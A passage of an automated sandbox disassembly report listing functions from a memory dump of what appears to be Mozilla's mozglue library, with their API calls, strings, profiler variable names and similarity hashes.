APIs

GetCurrentThreadId.KERNEL32 ref: 6C63E577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63E584
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C63E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C63E722
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C63E826
MOZ_PROFILER_STARTUP, xrefs: 6C63E5A1, 6C63E5FF
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C63E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C63E777
[I %d/%d] profiler_start, xrefs: 6C63EBB4

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$[I %d/%d] profiler_start
API String ID: 1483687287-1611356987
Opcode ID: 2ed515cfce200a15893e002af4eeb42a6d89404527ee9eb5194d60752b15de84
Instruction ID: 73c7361da53e92a473d5b75dc7338adc0e33c40e0095991912e6e05e03bf8896
Opcode Fuzzy Hash: 2ed515cfce200a15893e002af4eeb42a6d89404527ee9eb5194d60752b15de84
Instruction Fuzzy Hash: E511CE31A04268DFCB159F16C488A69BBB4FFC9328F100D19E94547A45C770A815CFFE

Function 6C640C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C640CD5

Part of subcall function 6C62F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE(?,6C605407), ref: 6C62F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C640D40
free.MOZGLUE ref: 6C640DCB

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

free.MOZGLUE ref: 6C640DDD
free.MOZGLUE ref: 6C640DF2

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 4450b5de7268678f1526b377bd652ba66357053c6ab8d3c20e13fd6fafc58f83
Instruction ID: bbdbb2ff7aad98ae8ebe4ead96749a3f7cff3354a7e5b88767592dd9cd46f104
Opcode Fuzzy Hash: 4450b5de7268678f1526b377bd652ba66357053c6ab8d3c20e13fd6fafc58f83
Instruction Fuzzy Hash: 284116719087909BD720CF29C08079AFBE5BFD9714F10CA2EE8D887B50D7709849CB9A

Function 6C630800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C630838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C63084C
EnterCriticalSection.KERNEL32(?), ref: 6C6308AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6308BD
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C6308D5

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 9c71a1392975c6dfae8972a0bcc8d58b827fff5cfd8833513c9aaca2399b7714
Instruction ID: 93b59acdde5216a60d4f10057fe2e557b10d7efc1c757566065d20869a3c7795
Opcode Fuzzy Hash: 9c71a1392975c6dfae8972a0bcc8d58b827fff5cfd8833513c9aaca2399b7714
Instruction Fuzzy Hash: 8521B6317012299BDF04CF66D884BEA7379AF85708F501928D90DA7B40DB35A409CFEC

Function 6C64CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CDA4

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

Part of subcall function 6C64D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C64CDBA,00100000,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D158
Part of subcall function 6C64D130: InitializeConditionVariable.KERNEL32(00000098,?,6C64CDBA,00100000,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CDC4

Part of subcall function 6C647480: ReleaseSRWLockExclusive.KERNEL32(?,6C641385,?,?,?,?,6C641385,?), ref: 6C6474EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64CECC

Part of subcall function 6C60CA10: mozalloc_abort.MOZGLUE(?), ref: 6C60CAA2

Part of subcall function 6C63CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C64CEEA,?,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000), ref: 6C63CB57
Part of subcall function 6C63CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C63CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C64CEEA,?,?), ref: 6C63CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?,00000000,?), ref: 6C64D058

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ee7579894da43cf9eeb90959b6623b772520dd4e75d3b4d285d33a960f34ef8
Instruction ID: 95ccfe17cd3929744b5c0b61dc9097c81dd786afe3c6e8cb3604fe23882bc151
Opcode Fuzzy Hash: 2ee7579894da43cf9eeb90959b6623b772520dd4e75d3b4d285d33a960f34ef8
Instruction Fuzzy Hash: F6D17E71A04B469FD748CF28C580B99F7E1BF89308F01862DD8598B712EB31E9A5CBC5

Function 6C601720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6017B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6018EE
free.MOZGLUE(?), ref: 6C601911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60194C

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 5508bf70572a70688cc8c65177d18098db5ac647652386345b10282861b3afee
Instruction ID: 0b3ea75ba372244b3fad19a88d4ded35d87e85cdc4eaf7b784ca6fbdff16a4c1
Opcode Fuzzy Hash: 5508bf70572a70688cc8c65177d18098db5ac647652386345b10282861b3afee
Instruction Fuzzy Hash: 0381BE70B102059FDB08CF68D9849EEBBB5FF89318F04462CE811AB754D730E949CBA6

Function 6C615C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C615D40
EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67
__aulldiv.LIBCMT ref: 6C615DB4
LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 570c4e7bae43729b59b25c2d7f7ecf8bfe2fd270eca2ad277f00e867cbdb8e08
Instruction ID: 8f2e9d396109a85c0f3f3e8bfa1d3e5aee4f4687604380c757f626cd5365bec2
Opcode Fuzzy Hash: 570c4e7bae43729b59b25c2d7f7ecf8bfe2fd270eca2ad277f00e867cbdb8e08
Instruction Fuzzy Hash: 39515F71E041298FDF09CF6DC895AAEFBF1FB85304F194A19D811A7B50C7306945CBA9

Function 6C5FCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5FCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C5FCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C5FCF4E

Strings

0, xrefs: 6C5FCF30

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 217eedc9f4bf77684e042ee49bde7aac7b872ce6707e8217a18e78b038b6aa2d
Instruction ID: f6d83d0ebd0cfff47b9a03cf182e77d9d6a9d45228ee6bea904bdc9937f3feef
Opcode Fuzzy Hash: 217eedc9f4bf77684e042ee49bde7aac7b872ce6707e8217a18e78b038b6aa2d
Instruction Fuzzy Hash: 4A511271A002168FCB15CF18C890A9AFBA5EF99300F1985A9D9595F751D331BD06CBE0

Function 6C6577D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6577FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C657829

Part of subcall function 6C62CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5F31A7), ref: 6C62CC45
Part of subcall function 6C62CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5F31A7), ref: 6C62CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C65789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6578CF

Part of subcall function 6C5F4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5F4E5A
Part of subcall function 6C5F4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5F4E97

Part of subcall function 6C5F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C633EBD,6C633EBD,00000000), ref: 6C5F42A9

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: eeafedfc97916006a68b17224a10b0a88ca3bf3d564e839e59a58bf1c6a4d5a9
Instruction ID: 8a6dc0ef3cee6eb4efe726f8ecc0089a0ef248e730e64b023ba57ce2919b6b18
Opcode Fuzzy Hash: eeafedfc97916006a68b17224a10b0a88ca3bf3d564e839e59a58bf1c6a4d5a9
Instruction Fuzzy Hash: D541CD71914B069FD300DF29C88056AFBF4FFCA214F604A2EE4A987640DB30D95ACBD6

Function 6C636470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200), ref: 6C63649B

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000200), ref: 6C6364A9

Part of subcall function 6C62FA80: GetCurrentThreadId.KERNEL32 ref: 6C62FA8D
Part of subcall function 6C62FA80: AcquireSRWLockExclusive.KERNEL32(6C67F448,?,6C62FA1F,?,?,6C605407), ref: 6C62FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6C63653F
free.MOZGLUE(?), ref: 6C63655A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: b4066da119322cdafbdd808c24f6646fa7de49b61be98fa059e7042ada99f573
Instruction ID: 6d63a715a4b0a18f9834a7a7e1326f4c8fcc37f44fe77a8fcc350c9f7205e66f
Opcode Fuzzy Hash: b4066da119322cdafbdd808c24f6646fa7de49b61be98fa059e7042ada99f573
Instruction Fuzzy Hash: 6C3190B5A04315AFD704CF15D884A9FBBE4FF89314F10882EE85A97740DB34E919CB9A

Function 6C62FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?), ref: 6C62FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?), ref: 6C62FFF5
free.MOZGLUE(?,?,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?), ref: 6C63001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C64D019,?,?,?,?,?,00000000,?,6C63DA31,00100000,?,?), ref: 6C63002A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 2499f692f672f45ad74d580f1adbc02340eccfff6d036e664b4d5937063e98d5
Instruction ID: d6468c02c52d0fc3989581185c9ab1a1b11a0183fbac8912cf3c3d790626d39a
Opcode Fuzzy Hash: 2499f692f672f45ad74d580f1adbc02340eccfff6d036e664b4d5937063e98d5
Instruction Fuzzy Hash: 7E2106B2E002215BC7189E789C848AFB7BAEB853247250338E525E7780EB719D0186DA

Function 6C60B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C60B4F5
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60B502
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C60B542
free.MOZGLUE(?), ref: 6C60B578

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d02fddd821e10e0d252a6be5d9d322ba1e780ecb2394e11df1dff90150ac6408
Instruction ID: 095720ad95ab930626194cf277a4066a9c86aadb1d26f4a9baa9f6891843685c
Opcode Fuzzy Hash: d02fddd821e10e0d252a6be5d9d322ba1e780ecb2394e11df1dff90150ac6408
Instruction Fuzzy Hash: FF11E130A04B51C7D3178F2AC5447A5B3B0FFD6318F109B4AE84963A02EBB0B1D58BAD

Function 6C633DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5FF20E,?), ref: 6C633DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5FF20E,00000000,?), ref: 6C633DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C633E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C633E0E

Part of subcall function 6C62CC00: GetCurrentProcess.KERNEL32(?,?,6C5F31A7), ref: 6C62CC0D
Part of subcall function 6C62CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5F31A7), ref: 6C62CC16

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a0b9ba8602571abcbe24a51dc04af77728d0be90074dbf3d8bbce58b4dd2addd
Instruction ID: edf3b4cf258d153878da459380e8cff0542ab6783994dd642fc1f5abae8afc73
Opcode Fuzzy Hash: a0b9ba8602571abcbe24a51dc04af77728d0be90074dbf3d8bbce58b4dd2addd
Instruction Fuzzy Hash: CAF05EB16002187BEB05AB55DC85DAB376CDB86624F040420FD0957740D639B9158AFF

Function 6C642050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C64201B,?,?,?,?,?,?,?,6C641F8F,?,?), ref: 6C642064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C64208E
free.MOZGLUE(?,?,?,00000000,?,6C64201B,?,?,?,?,?,?,?,6C641F8F,?,?), ref: 6C6420A3

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: db9dbdd9c1f7ea1525b24af34eda23e8a3f7192c6c73b5c17c4935bed2fd4c95
Instruction ID: ef9956c5e5fe4947df79ff37cd0b357ad836f020c1ae65d56ec1443f716e3d5f
Opcode Fuzzy Hash: db9dbdd9c1f7ea1525b24af34eda23e8a3f7192c6c73b5c17c4935bed2fd4c95
Instruction Fuzzy Hash: 63F0B471104610DBD7118F17D88875BBBF8EFC6365F10451AE50687711C771A806CBAD

Function 6C6485B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6485D3

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C648725

Strings

map/set<T> too long, xrefs: 6C648720

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: fc2814dba19a6ace5f0c41e8134fe6258560d30bce6d23e24e24e8aa40387c87
Instruction ID: efb289a773ddb3045f267e2288c542c1b4e45aecc6d195a3a5672628783c3c39
Opcode Fuzzy Hash: fc2814dba19a6ace5f0c41e8134fe6258560d30bce6d23e24e24e8aa40387c87
Instruction Fuzzy Hash: 1E5143746006418FD741CF18C194A9ABBF1BF4A318F18C29AD8599BB62C375EC85CFDA

Function 6C5FBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5FBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5FBE8F

Strings

0, xrefs: 6C5FBE5B

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3d22e93eee1722e5d9a485f9c5925c105a127e81bb033fe2440c36fc684ea009
Instruction ID: 90322e0196f1620212f4b71b9fd9cc95a9fd02c12627d351eb4232ae41131028
Opcode Fuzzy Hash: 3d22e93eee1722e5d9a485f9c5925c105a127e81bb033fe2440c36fc684ea009
Instruction Fuzzy Hash: 1E41B271908745CFC305EF29C881A9BB7F4AF8A348F008A1DF99597611D730D94A8F92

Function 6C633CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C633D19
mozalloc_abort.MOZGLUE(?), ref: 6C633D6C

Strings

d, xrefs: 6C633D58

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
